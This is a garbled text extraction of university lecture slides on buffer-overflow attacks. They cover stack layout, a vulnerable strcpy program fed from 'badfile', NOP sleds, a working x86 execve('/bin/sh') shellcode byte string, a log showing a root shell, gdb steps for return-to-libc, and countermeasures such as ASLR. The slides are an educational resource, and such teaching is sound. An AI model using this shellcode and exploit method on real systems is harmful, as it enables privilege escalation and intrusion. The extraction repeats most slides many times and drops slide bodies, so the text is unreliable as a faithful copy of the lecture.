Slides
Slides
R. Absil
Table of contents
1 Introduction
2 Microprocessor recalls
6 Countermeasures
Table of contents
1 Introduction
2 Microprocessor recalls
6 Countermeasures
Table of contents
1 Introduction
2 Microprocessor recalls
6 Countermeasures
Table of contents
1 Introduction
2 Microprocessor recalls
6 Countermeasures
Table of contents
1 Introduction
2 Microprocessor recalls
6 Countermeasures
Table of contents
1 Introduction
2 Microprocessor recalls
6 Countermeasures
Table of contents
1 Introduction
2 Microprocessor recalls
6 Countermeasures
Table of contents
1 Introduction
2 Microprocessor recalls
6 Countermeasures
Introduction
Basic idea
Basic idea
Basic idea
Basic idea
Basic idea
Basic idea
Basic idea
Basic idea
Basic idea
Basic idea
What we focus on
What we focus on
What we focus on
What we focus on
What we focus on
What we focus on
Microprocessor recalls
1
Language dependent
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 7 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
1
Language dependent
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 7 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
1
Language dependent
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 7 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
1
Language dependent
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 7 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
1
Language dependent
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 7 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
1
Language dependent
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 7 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
1
Language dependent
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 7 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
1
Language dependent
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 7 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
1
Language dependent
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 7 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
1
Language dependent
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 7 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
1
Language dependent
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 7 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
1
Language dependent
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 7 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
1
Language dependent
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 7 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
Illustration
Adress space
High adresses Low adresses
0x00000000
0x04000000
0x08000000
0xFFFFFFFF
Code segment
Data segment
Reserved
Reserved
.rodata
.data
.bss
Heap Stack
User level
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 8 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
Allocation example
File alloc.c
1 i n t x = 100; / / . data
2
3 i n t main ( )
4 {
5 in t a = 2; / / stack
6 f l o a t b = 2 . 5 ; / / stack
7
8 s t a t i c i n t y ; / / . bss
9
10 i n t * pt = ( i n t * ) malloc (2 * sizeof ( i n t ) ) ; / / p t on stack , * p t on heap
11 p t [ 0 ] = 5 ; / / on heap
12 p t [ 1 ] = 6 ; / / on heap
13
14 free ( pt ) ;
15 }
Allocation illustration
Stack Heap
int x = 1 0 0 ;
int main ( )
0xF20
{ 0xFFA
0xF19
int a = 2 ; 0xF18
0xFF9
float b = 2 . 5 ; 0xF17
0xF16
s t a t i c int y ; 0xFF8
0xF15
F2
int ∗ pt = ( int ∗ ) m a l l o c ( 2 ∗ s i z e o f ( int ) ) ;
0xF14 6 0xFF7
0xF
pt [ 0 ] = 5 ; //&pt = 0xFF2 0xF13
pt [ 1 ] = 6 ; //&∗pt = 0xFF6 0xF12
0xFF6
} 0xF11
0xF10 ø pt
0xFF5
0xF0F
s i z e o f ( int ) = 4
0xF0E
Archirecture sizeof ( float ) = 4
0xF0D 2.5 0xFF4
s i z e o f ( int ∗ ) = 8
0xF0C øb 5 0xFF3
0xF0B
0xF0A
0xF09 2 ˚pt ù 0xFF2
0xF08 øa
0xFF1
0xF07
x and y each take 4 bytes on the data segment
Function calls
Evil question
What about the confidentiality / integrity of what is stored ?
Function calls
Evil question
What about the confidentiality / integrity of what is stored ?
Function calls
Evil question
What about the confidentiality / integrity of what is stored ?
Function calls
Evil question
What about the confidentiality / integrity of what is stored ?
Function calls
Evil question
What about the confidentiality / integrity of what is stored ?
Function calls
Evil question
What about the confidentiality / integrity of what is stored ?
Function calls
Evil question
What about the confidentiality / integrity of what is stored ?
Function calls
Evil question
What about the confidentiality / integrity of what is stored ?
Before a call
Stack growth
492 992
494 994
myfct
496 996
498 998
ret
500 1000
1001
After a call
Stack growth
492 992
494 994
myfct
496 996
498
491 998
ret
500 1000
1001
Code sample
1 ...
2
3 main :
4 mov rdi , 1 ; f i r s t param
5 mov rsi , 2 ; second param
6 mov rdx , 3 ; t h i r d param
7 mov rcx , 4 ; f o u r t h param
8 mov r8 , 5 ; f i f t h param
9 mov r9 , 6 ; s i x t h param
10 push qword 8 ; e i g h t param
11 push qword 7 ; seventh param
12
13 call sum
14
15 sum :
16 enter 0 , 0 ; c r e a t e s s t a c k frame ( backs up rbp , rbp p o i n t s t h e r e now )
17
18 push rbx ; saves r e g i s t e r s preserved by f u n c t i o n c a l l
19 push r12
20 push r13
21 push r14
22 push r15
23
24 ...
Stack growth
928 930 932 934 936 938 940 942 944 946 948 950 952 954 956 958 960 962 964 966 968 970 972 974 976 978 980 982 984 986 988 990 992 994 996 998 1000
rip Backup
7 8
rsp
977
Stack growth
928 930 932 934 936 938 940 942 944 946 948 950 952 954 956 958 960 962 964 966 968 970 972 974 976 978 980 982 984 986 988 990 992 994 996 998 1000
r15 backup r14 backup r13 backup r12 backup rbx backup rbp backup rip backup
7 8
rbp
rsp
rbp + 16 rbp + 24
929 969
Types of attacks
Types of attacks
Types of attacks
Types of attacks
Types of attacks
Types of attacks
Types of attacks
Exploit copy
Question
What if an unsufficient amount of memory is allocated ?
Buffer overflow
The result is not always a crash
It can allow an attacker to take complete control of a program
And its priviledges rights
Exploit copy
Question
What if an unsufficient amount of memory is allocated ?
Buffer overflow
The result is not always a crash
It can allow an attacker to take complete control of a program
And its priviledges rights
Exploit copy
Question
What if an unsufficient amount of memory is allocated ?
Buffer overflow
The result is not always a crash
It can allow an attacker to take complete control of a program
And its priviledges rights
Exploit copy
Question
What if an unsufficient amount of memory is allocated ?
Buffer overflow
The result is not always a crash
It can allow an attacker to take complete control of a program
And its priviledges rights
Exploit copy
Question
What if an unsufficient amount of memory is allocated ?
Buffer overflow
The result is not always a crash
It can allow an attacker to take complete control of a program
And its priviledges rights
Exploit copy
Question
What if an unsufficient amount of memory is allocated ?
Buffer overflow
The result is not always a crash
It can allow an attacker to take complete control of a program
And its priviledges rights
Exploit copy
Question
What if an unsufficient amount of memory is allocated ?
Buffer overflow
The result is not always a crash
It can allow an attacker to take complete control of a program
And its priviledges rights
Exploit copy
Question
What if an unsufficient amount of memory is allocated ?
Buffer overflow
The result is not always a crash
It can allow an attacker to take complete control of a program
And its priviledges rights
Example
File str-cpy.c
1 void d o S t u f f ( const char * s )
2 {
3 char d e s t [ 1 3 ] ;
4 s t r c p y ( dest , s ) ; / / ok
5
6 char dest2 [ 1 2 ] ;
7 s t r c p y ( dest2 , s ) ; / / overflow
8
9 const char * s2 = "My r e a l l y l o n g b e a u t i f u l s t r i n g " ;
10 s t r c p y ( dest2 , s2 ) ; / / o v e r f l o w
11 }
12
13 i n t main ( )
14 {
15 const char * s = " Hello there ! " ;
16
17 p r i n t f (%zu , s t r l e n ( s ) ) ; / / 12
18 p r i n t f (%zu , s i z e o f s ) ; / / 13 −> n u l l t e r m i n a t o r i n c l u d e d
19
20 doStuff ( s ) ;
21 }
Illustration
High addresses
main stack frame
Stack growth
Return adress
doStuff stack frame
Buffer copy
Register backups
Low addresses
dest2[11]
..
.
dest2[0]
Hijack programs
How to exploit
Previous examples do not take input from user
We cannot take advantage of the overflow
In "real" programs, user input is often requested
Hijack programs
How to exploit
Previous examples do not take input from user
We cannot take advantage of the overflow
In "real" programs, user input is often requested
Hijack programs
How to exploit
Previous examples do not take input from user
We cannot take advantage of the overflow
In "real" programs, user input is often requested
Hijack programs
How to exploit
Previous examples do not take input from user
We cannot take advantage of the overflow
In "real" programs, user input is often requested
Hijack programs
How to exploit
Previous examples do not take input from user
We cannot take advantage of the overflow
In "real" programs, user input is often requested
Hijack programs
How to exploit
Previous examples do not take input from user
We cannot take advantage of the overflow
In "real" programs, user input is often requested
Hijack programs
How to exploit
Previous examples do not take input from user
We cannot take advantage of the overflow
In "real" programs, user input is often requested
Example
File overflow.c
1 # include < s t d l i b . h>
2 # include < s t d i o . h>
3 # include < s t r i n g . h>
4
5 i n t c o p y _ s t u f f ( const char * s t r )
6 {
7 char b u f f e r [ 1 0 0 ] ;
8 strcpy ( buffer , s t r ) ;
9
10 return 1;
11 }
12
13 i n t main ( )
14 {
15 char [ 4 0 0 ] s t r ;
16
17 FILE * b a d f i l e = fopen ( " b a d f i l e " , " r " ) ;
18 f r e a d ( s t r , s i z e o f char , 300 , b a d f i l e ) ;
19
20 copy_stuff ( s t r ) ;
21
22 p r i n t f ( " Alright \n" ) ;
23 return 1;
24 }
The overflow
Question
What should we write in badfile ?
We want to run malicious code
The overflow
Question
What should we write in badfile ?
We want to run malicious code
The overflow
Question
What should we write in badfile ?
We want to run malicious code
The overflow
Question
What should we write in badfile ?
We want to run malicious code
The overflow
Question
What should we write in badfile ?
We want to run malicious code
The overflow
Question
What should we write in badfile ?
We want to run malicious code
The overflow
Question
What should we write in badfile ?
We want to run malicious code
The overflow
Question
What should we write in badfile ?
We want to run malicious code
The overflow
Question
What should we write in badfile ?
We want to run malicious code
The overflow
Question
What should we write in badfile ?
We want to run malicious code
Illustration
(Overwritten) jmp
Arguments
Common protections
Address randomisation : makes the location of functions, stack,
heap and libraries hard to guess
Non executable stack
Canaries
Common protections
Address randomisation : makes the location of functions, stack,
heap and libraries hard to guess
Non executable stack
Canaries
Common protections
Address randomisation : makes the location of functions, stack,
heap and libraries hard to guess
Non executable stack
Canaries
Common protections
Address randomisation : makes the location of functions, stack,
heap and libraries hard to guess
Non executable stack
Canaries
Common protections
Address randomisation : makes the location of functions, stack,
heap and libraries hard to guess
Non executable stack
Canaries
Common protections
Address randomisation : makes the location of functions, stack,
heap and libraries hard to guess
Non executable stack
Canaries
Common protections
Address randomisation : makes the location of functions, stack,
heap and libraries hard to guess
Non executable stack
Canaries
Common protections
Address randomisation : makes the location of functions, stack,
heap and libraries hard to guess
Non executable stack
Canaries
Common protections
Address randomisation : makes the location of functions, stack,
heap and libraries hard to guess
Non executable stack
Canaries
Setup
2
http://be.releases.ubuntu.com/12.04/ - Support ended on April 28,
2017
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 30 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
Example
File stack-frame-adress.c
1 # include < s t d i o . h>
2
3 void f o o ( i n t * p t i )
4 {
5 p r i n t f ( " Adress o f param : %p \ n " , & p t i ) ;
6 }
7
8 i n t main ( )
9 {
10 i n t x = 42;
11
12 p r i n t f ( " Adress o f x : %p \ n " , &x ) ;
13 p r i n t f ( " Adress o f f o o : %p \ n " , f o o ) ;
14 f o o (& x ) ;
15 }
Result
Example
Idea
Flood the space between the return address and our code with
NOP
NOP is a processor instruction that does nothing beyond
incrementing rip
Like this, if we jump into that space, we will eventually reach our
malicious code
x86 ABI specifies that the opcode for NOP is 0x90
If we build badfile
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 35 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
Example
Idea
Flood the space between the return address and our code with
NOP
NOP is a processor instruction that does nothing beyond
incrementing rip
Like this, if we jump into that space, we will eventually reach our
malicious code
x86 ABI specifies that the opcode for NOP is 0x90
If we build badfile
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 35 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
Example
Idea
Flood the space between the return address and our code with
NOP
NOP is a processor instruction that does nothing beyond
incrementing rip
Like this, if we jump into that space, we will eventually reach our
malicious code
x86 ABI specifies that the opcode for NOP is 0x90
If we build badfile
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 35 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
Example
Idea
Flood the space between the return address and our code with
NOP
NOP is a processor instruction that does nothing beyond
incrementing rip
Like this, if we jump into that space, we will eventually reach our
malicious code
x86 ABI specifies that the opcode for NOP is 0x90
If we build badfile
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 35 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
Example
Idea
Flood the space between the return address and our code with
NOP
NOP is a processor instruction that does nothing beyond
incrementing rip
Like this, if we jump into that space, we will eventually reach our
malicious code
x86 ABI specifies that the opcode for NOP is 0x90
If we build badfile
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 35 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
Example
Idea
Flood the space between the return address and our code with
NOP
NOP is a processor instruction that does nothing beyond
incrementing rip
Like this, if we jump into that space, we will eventually reach our
malicious code
x86 ABI specifies that the opcode for NOP is 0x90
If we build badfile
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 35 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
Example
Idea
Flood the space between the return address and our code with
NOP
NOP is a processor instruction that does nothing beyond
incrementing rip
Like this, if we jump into that space, we will eventually reach our
malicious code
x86 ABI specifies that the opcode for NOP is 0x90
If we build badfile
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 35 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
Example
Idea
Flood the space between the return address and our code with
NOP
NOP is a processor instruction that does nothing beyond
incrementing rip
Like this, if we jump into that space, we will eventually reach our
malicious code
x86 ABI specifies that the opcode for NOP is 0x90
If we build badfile
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 35 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
Illustration
NOP
(Overwritten) NOP
jmp NOP jmp
New return adress New return adress
rbp rbp
(Overwritten) (Overwritten)
The idea
The idea
The idea
The idea
The idea
The idea
The idea
The idea
The idea
The idea
The idea
The goal
NOP
Start of buffer
Using gdb
Writing badfile
Writing badfile
Writing badfile
Writing badfile
Writing badfile
Writing badfile
Writing badfile
Writing badfile
Writing badfile
Writing badfile
Writing badfile
Writing badfile
Writing badfile
1 ssd@ssd−vb : ~ $ rm b a d f i l e
2 ssd@ssd−vb : ~ $ gcc −o m a l i c i o u s malicous . c
3 ssd@ssd−vb : ~ $ . / m a l i c i o u s
4 ssd@ssd−vb : ~ $ . / o v e r f l o w
5 #
6 # id
7 u i d =0( r o o t ) g i d =1000( ssd ) groups =0( r o o t ) , . . .
Naïve idea
Write a C code launching execve on /bin/sh
Compile it
Input the binary code as badfile
Naïve idea
Write a C code launching execve on /bin/sh
Compile it
Input the binary code as badfile
Naïve idea
Write a C code launching execve on /bin/sh
Compile it
Input the binary code as badfile
Naïve idea
Write a C code launching execve on /bin/sh
Compile it
Input the binary code as badfile
Naïve idea
Write a C code launching execve on /bin/sh
Compile it
Input the binary code as badfile
Naïve idea
Write a C code launching execve on /bin/sh
Compile it
Input the binary code as badfile
Naïve idea
Write a C code launching execve on /bin/sh
Compile it
Input the binary code as badfile
Example
File naive.c
1 # include < u n i s t d . h>
2
3 i n t main ( )
4 {
5 char * cmd [ 2 ] = { " / b i n / sh " , NULL } ;
6 execve ( cmd [ 0 ] , cmd , NULL ) ;
7 }
1 Loader issue
Any program is loaded and its environment set up before execution
Performed by the OS Loader (setting stack and heap, copying
program into memory, calling dynamic linker, etc.)
After loading, main is called
Here, the malicious code is not loaded by the OS
2 Zéros
At least the ’\0’ of "/bin/sh" and NULL
Will stop strcpy prematurely
1 Loader issue
Any program is loaded and its environment set up before execution
Performed by the OS Loader (setting stack and heap, copying
program into memory, calling dynamic linker, etc.)
After loading, main is called
Here, the malicious code is not loaded by the OS
2 Zéros
At least the ’\0’ of "/bin/sh" and NULL
Will stop strcpy prematurely
1 Loader issue
Any program is loaded and its environment set up before execution
Performed by the OS Loader (setting stack and heap, copying
program into memory, calling dynamic linker, etc.)
After loading, main is called
Here, the malicious code is not loaded by the OS
2 Zéros
At least the ’\0’ of "/bin/sh" and NULL
Will stop strcpy prematurely
1 Loader issue
Any program is loaded and its environment set up before execution
Performed by the OS Loader (setting stack and heap, copying
program into memory, calling dynamic linker, etc.)
After loading, main is called
Here, the malicious code is not loaded by the OS
2 Zéros
At least the ’\0’ of "/bin/sh" and NULL
Will stop strcpy prematurely
1 Loader issue
Any program is loaded and its environment set up before execution
Performed by the OS Loader (setting stack and heap, copying
program into memory, calling dynamic linker, etc.)
After loading, main is called
Here, the malicious code is not loaded by the OS
2 Zéros
At least the ’\0’ of "/bin/sh" and NULL
Will stop strcpy prematurely
1 Loader issue
Any program is loaded and its environment set up before execution
Performed by the OS Loader (setting stack and heap, copying
program into memory, calling dynamic linker, etc.)
After loading, main is called
Here, the malicious code is not loaded by the OS
2 Zéros
At least the ’\0’ of "/bin/sh" and NULL
Will stop strcpy prematurely
1 Loader issue
Any program is loaded and its environment set up before execution
Performed by the OS Loader (setting stack and heap, copying
program into memory, calling dynamic linker, etc.)
After loading, main is called
Here, the malicious code is not loaded by the OS
2 Zéros
At least the ’\0’ of "/bin/sh" and NULL
Will stop strcpy prematurely
1 Loader issue
Any program is loaded and its environment set up before execution
Performed by the OS Loader (setting stack and heap, copying
program into memory, calling dynamic linker, etc.)
After loading, main is called
Here, the malicious code is not loaded by the OS
2 Zéros
At least the ’\0’ of "/bin/sh" and NULL
Will stop strcpy prematurely
Main idea
Write the program directly using assembly language
The binary code associated with that program is called a
shellcode3
The basic idea is to set up registers to use the execve system
call
With proper parameters
Parameters in x86
1 eax : service number
The number for execve is 11
2 ebx, ecx, edx : parameters
ebx : the address of "/bin/sh"
ecx : address of the argument array
edx : environment variables (not needed here)
3
One, A. : Smashing the stack for fun and profit - Phrack 7:49 - 1996
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 48 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
Main idea
Write the program directly using assembly language
The binary code associated with that program is called a
shellcode3
The basic idea is to set up registers to use the execve system
call
With proper parameters
Parameters in x86
1 eax : service number
The number for execve is 11
2 ebx, ecx, edx : parameters
ebx : the address of "/bin/sh"
ecx : address of the argument array
edx : environment variables (not needed here)
3
One, A. : Smashing the stack for fun and profit - Phrack 7:49 - 1996
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 48 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
Main idea
Write the program directly using assembly language
The binary code associated with that program is called a
shellcode3
The basic idea is to set up registers to use the execve system
call
With proper parameters
Parameters in x86
1 eax : service number
The number for execve is 11
2 ebx, ecx, edx : parameters
ebx : the address of "/bin/sh"
ecx : address of the argument array
edx : environment variables (not needed here)
3
One, A. : Smashing the stack for fun and profit - Phrack 7:49 - 1996
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 48 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
Main idea
Write the program directly using assembly language
The binary code associated with that program is called a
shellcode3
The basic idea is to set up registers to use the execve system
call
With proper parameters
Parameters in x86
1 eax : service number
The number for execve is 11
2 ebx, ecx, edx : parameters
ebx : the address of "/bin/sh"
ecx : address of the argument array
edx : environment variables (not needed here)
3
One, A. : Smashing the stack for fun and profit - Phrack 7:49 - 1996
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 48 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
Main idea
Write the program directly using assembly language
The binary code associated with that program is called a
shellcode3
The basic idea is to set up registers to use the execve system
call
With proper parameters
Parameters in x86
1 eax : service number
The number for execve is 11
2 ebx, ecx, edx : parameters
ebx : the address of "/bin/sh"
ecx : address of the argument array
edx : environment variables (not needed here)
3
One, A. : Smashing the stack for fun and profit - Phrack 7:49 - 1996
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 48 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
Main idea
Write the program directly using assembly language
The binary code associated with that program is called a
shellcode3
The basic idea is to set up registers to use the execve system
call
With proper parameters
Parameters in x86
1 eax : service number
The number for execve is 11
2 ebx, ecx, edx : parameters
ebx : the address of "/bin/sh"
ecx : address of the argument array
edx : environment variables (not needed here)
3
One, A. : Smashing the stack for fun and profit - Phrack 7:49 - 1996
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 48 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
Main idea
Write the program directly using assembly language
The binary code associated with that program is called a
shellcode3
The basic idea is to set up registers to use the execve system
call
With proper parameters
Parameters in x86
1 eax : service number
The number for execve is 11
2 ebx, ecx, edx : parameters
ebx : the address of "/bin/sh"
ecx : address of the argument array
edx : environment variables (not needed here)
3
One, A. : Smashing the stack for fun and profit - Phrack 7:49 - 1996
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 48 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
Main idea
Write the program directly using assembly language
The binary code associated with that program is called a
shellcode3
The basic idea is to set up registers to use the execve system
call
With proper parameters
Parameters in x86
1 eax : service number
The number for execve is 11
2 ebx, ecx, edx : parameters
ebx : the address of "/bin/sh"
ecx : address of the argument array
edx : environment variables (not needed here)
3
One, A. : Smashing the stack for fun and profit - Phrack 7:49 - 1996
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 48 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
Main idea
Write the program directly using assembly language
The binary code associated with that program is called a
shellcode3
The basic idea is to set up registers to use the execve system
call
With proper parameters
Parameters in x86
1 eax : service number
The number for execve is 11
2 ebx, ecx, edx : parameters
ebx : the address of "/bin/sh"
ecx : address of the argument array
edx : environment variables (not needed here)
3
One, A. : Smashing the stack for fun and profit - Phrack 7:49 - 1996
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 48 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
Main idea
Write the program directly using assembly language
The binary code associated with that program is called a
shellcode3
The basic idea is to set up registers to use the execve system
call
With proper parameters
Parameters in x86
1 eax : service number
The number for execve is 11
2 ebx, ecx, edx : parameters
ebx : the address of "/bin/sh"
ecx : address of the argument array
edx : environment variables (not needed here)
3
One, A. : Smashing the stack for fun and profit - Phrack 7:49 - 1996
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 48 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
Main idea
Write the program directly using assembly language
The binary code associated with that program is called a
shellcode3
The basic idea is to set up registers to use the execve system
call
With proper parameters
Parameters in x86
1 eax : service number
The number for execve is 11
2 ebx, ecx, edx : parameters
ebx : the address of "/bin/sh"
ecx : address of the argument array
edx : environment variables (not needed here)
3
One, A. : Smashing the stack for fun and profit - Phrack 7:49 - 1996
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 48 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
Setting ebx
Setting ebx
Setting ebx
Setting ebx
Setting ebx
Setting ebx
Setting ebx
Setting ebx
Setting ebx
Setting ebx
Setting ebx
Setting ebx
Setting ecx
Setting ecx
Setting ecx
Setting ecx
Setting ecx
Setting ecx
Setting ecx
Final touches
Final touches
Final touches
Final touches
Final touches
Final touches
Final touches
Final touches
Malicious code
NOP
..
.
NOP
0 11 rax
//sh
0x2000 /bin rcx
0
rsp 0x2000 rbx
0 rbx
We need to find the binary code of the code preparing the data
We will use that as our shell code
Our shellcode in C
File malicious.c
1 char s h e l l c o d e [ ] =
2 " \ x31 \ xc0 " /* x o r eax , eax * /
3 " \ x50 " /* push eax * /
4 " \ x68 " " / / sh " /* push 0x68732F2F * /
5 " \ x68 " " / b i n " /* push 0x6e69622F * /
6 " \ x89 " " \ xe3 " /* mov esp , ebx * /
7 " \ x50 " /* push eax * /
8 " \ x53 " /* push ebx * /
9 " \ x89 \ xe1 " /* mov esp , ecx * /
10 " \ x99 " /* cdq * /
11 " \ xb0 \ x0b " /* move b y t e 11 , a l * /
12 " \ xcd \ x80 " /* i n t 0x80 * /
13 ;
Countermeasures
Programming language
Programming language
Programming language
Programming language
Programming language
Programming language
Programming language
Programming language
Compilers
Compilers
Compilers
Compilers
Compilers
Compilers
Compilers
Compilers
Compilers
Compilers
Compilers
Operating system
Operating system
Operating system
Operating system
Operating system
Operating system
Operating system
Operating system
Operating system
Hardware
Hardware
Hardware
Hardware
Hardware
Hardware
Hardware
Hardware
Hardware
Illustration
Effects of ASLR
Effectiveness of ASLR
If we locate all areas of a process randomly, we can run into
compatibility issues
The addresses available for randomisation have reduced range
Entropy
n bits of entropy means there are 2n possible locations
Uniformly distributed
Effectiveness of ASLR
If we locate all areas of a process randomly, we can run into
compatibility issues
The addresses available for randomisation have reduced range
Entropy
n bits of entropy means there are 2n possible locations
Uniformly distributed
Effectiveness of ASLR
If we locate all areas of a process randomly, we can run into
compatibility issues
The addresses available for randomisation have reduced range
Entropy
n bits of entropy means there are 2n possible locations
Uniformly distributed
Effectiveness of ASLR
If we locate all areas of a process randomly, we can run into
compatibility issues
The addresses available for randomisation have reduced range
Entropy
n bits of entropy means there are 2n possible locations
Uniformly distributed
Effectiveness of ASLR
If we locate all areas of a process randomly, we can run into
compatibility issues
The addresses available for randomisation have reduced range
Entropy
n bits of entropy means there are 2n possible locations
Uniformly distributed
Effectiveness of ASLR
If we locate all areas of a process randomly, we can run into
compatibility issues
The addresses available for randomisation have reduced range
Entropy
n bits of entropy means there are 2n possible locations
Uniformly distributed
Effectiveness of ASLR
If we locate all areas of a process randomly, we can run into
compatibility issues
The addresses available for randomisation have reduced range
Entropy
n bits of entropy means there are 2n possible locations
Uniformly distributed
Effectiveness of ASLR
If we locate all areas of a process randomly, we can run into
compatibility issues
The addresses available for randomisation have reduced range
Entropy
n bits of entropy means there are 2n possible locations
Uniformly distributed
Effectiveness of ASLR
If we locate all areas of a process randomly, we can run into
compatibility issues
The addresses available for randomisation have reduced range
Entropy
n bits of entropy means there are 2n possible locations
Uniformly distributed
7
Our VM is 32-bits
R. Absil ESI Ch. 5 - Buffer Overflow October 27, 2022 70 / 92
Introduction Recalls The attack Deployment Writing a shell code Countermeasures ASLR Non executable stack
Illustration
Result
It looks effective
1 ssd@ssd−vb : ~ $ gcc −z execstack −o dont −do− t h i s −at −home dont −do− t h i s −at −home . c
2 ssd@ssd−vb : ~ $ . / s h e l l − s t a c k
3 $
4 $ exit
5 ssd@ssd−vb : ~ $ ssd@ssd−vb : ~ $ gcc −o dont −do− t h i s −at −home dont −do− t h i s −at −home . c
6 ssd@ssd−vb : ~ $ . / s h e l l − s t a c k
7 Segmentation f a u l t ( core dumped )
Rethorical question
Does the code we jump on need to be loaded on the stack?
Relative effectiveness
Relative effectiveness
Relative effectiveness
Relative effectiveness
Relative effectiveness
Relative effectiveness
Relative effectiveness
Relative effectiveness
Relative effectiveness
Relative effectiveness
Relative effectiveness
Relative effectiveness
Illustration
1 ssd@ssd−vb : ~ $ touch b a d f i l e
2 ssd@ssd−vb : ~ $ gdb o v e r f l o w
3 ...
4 ( gdb ) run
5 S t a r t i n g program / home / ssd / Documents / ssd − b u f f e r − o v e r f l o w / o v e r f l o w
6 Alright
7 ...
8 ( gdb ) p system
9 $1 { < t e x t v a r i a b l e , no debug i n f o >} 0xb75b1460 <system >
10 ( gdb ) p e x i t
11 $2 { < t e x t v a r i a b l e , no debug i n f o >} 0xb75a4fe0 <system >
12 ( gdb ) q u i t
Illustration
File envaddr.c
1 # include < s t d i o . h>
2 # include < u n i s t d . h>
3
4 i n t main ( )
5 {
6 char * s h e l l = ( char * ) getenv ( "MYSHELL" ) ;
7
8 if ( shell )
9 {
10 p r i n t f ( " Value : %s \ n " , s h e l l ) ;
11 p r i n t f ( " Address : %p \ n " , s h e l l ) ;
12 }
13 }
Result
Why it happens
Environment variables are stored on the stack
Before they are pushed, the name of the program is pushed
Consequently, the length of the name affects the location of the
environment variables
1 ssd@ssd−vb : ~ $ gcc −g −o envaddr_dbg envaddr . c
2 ssd@ssd−vb : ~ $ gdb envaddr_gdb
3 ...
4 ( gdb ) b main
5 b r e a k p o i n t 1 a t 0x804841d : f i l e envaddr . c , l i n e 6
6 ( gdb ) run
7 S t a r t i n g program . . .
8 B r e a k p o i n t 1 , main ( ) a t envaddr . c : 6
9 ( gdb ) x /100 s * ( ( char * * ) e n v i r o n )
10 0 x b f f f f 5 5 2 : "SSH_AGENT_PID=1561 "
